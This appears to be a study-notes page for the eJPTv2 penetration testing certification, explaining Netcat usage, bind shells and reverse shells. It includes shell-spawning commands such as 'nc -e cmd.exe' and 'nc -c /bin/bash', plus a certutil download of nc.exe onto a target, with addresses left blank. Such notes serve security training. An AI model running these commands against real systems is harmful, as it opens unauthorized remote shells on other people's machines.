> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/exploitation/exploits/shells.md). # Shells ## Bind & Reverse Shells ### Netcat Fundamentals * Netcat (Aka TCP/IP Swiss Army Knife) is a networking utility used to read and write data to network connections using TCP or UDP. * Netcat is available for both \*NIX and Windows operating systems, consequently making it extremely useful for cross-platform engagements. * Netcat utilizes a client-server communication architecture with two modes: * Client mode - Netcat can be used in client mode to connect to any TCP/UDP port as well as Netcat listener (server). * Server mode - Netcat can be used to listen for connections from clients on a specific port. * Netcat can be used by penetration testers to perform the following functionality: * Banner Grabbing * Port Scanning * Transferring Files * Bind/Reverse Shells DEMO ``` nc --help ``` ``` man nc ``` * Verbose - provides the extra information ``` nc -v ``` * to connect to UDP port ``` nc -nvu ``` * listener ``` nc -l ``` * Do not resolve hostname via DNS ``` nc -nv ``` * execution command ``` nc -e ``` * Netcat binaries - /usr/share/windows-binaries/ * transferring files ``` python3 -m http.server 80 ``` * downloading file ``` certutil -urlcache -f http:///mc.exe nc.exe ``` * start listener ``` nc -nvlp ``` * connect nc ``` nc.exe -nv ``` * listen UDP port ``` nc -nlvpu ``` * connect UDP port ``` nc -nvu ``` * using nc for transferring the file ``` nc.exe -nvlp > test.txt ``` * connect nc for transferring the file ``` nc -nv < test.txt ``` *** ### Bind Shells * A bind shell is a type of remote shell where the attacker connects directly to a listener on the target system, consequently allowing for execution of commands on the target system. * A Netcat listener can be setup to execute a specific executable like cmd.exe or /bin/bash when a client connects to the listener.

**The outgoing traffic from a system is rarely blocked or be by a Windows by a firewall or by any security mechanism Whereas inbound traffic is usually very suspect** DEMO ``` cd /usr/share/windows-binaries python3 -m http.server 80 ``` ``` cmd> certutil -urlcache -f http:///nc.exe nc.exe ``` Target System (Windows) ``` cmd> nc.exe -nvlp -e cmd.exe ``` Attacker System (Linux) ``` nc -nv whoami ``` Target System (Linux) ``` nc -nvlp -c /bin/bash ``` Attacker System (Windows) ``` cmd> nc.exe -nv #whoami ``` *** ### Reverse Shell * A reverse shell is a type of remote shell where the target connects directly to a listener on the attack's system, consequently allowing for execution of commans on the target system.

DEMO Attacker System (Linux) ``` nc -nvlp ``` Target System (Windows) ``` cmd> nc.exe -nv ``` Target System (Linux) ``` nc -nvp -e /bin/bash ``` Attacker System (Windows) ``` nc -nlpv ``` *** ### Reverse Shell Cheatsheet DEMO {% embed url="" %} {% embed url="" %}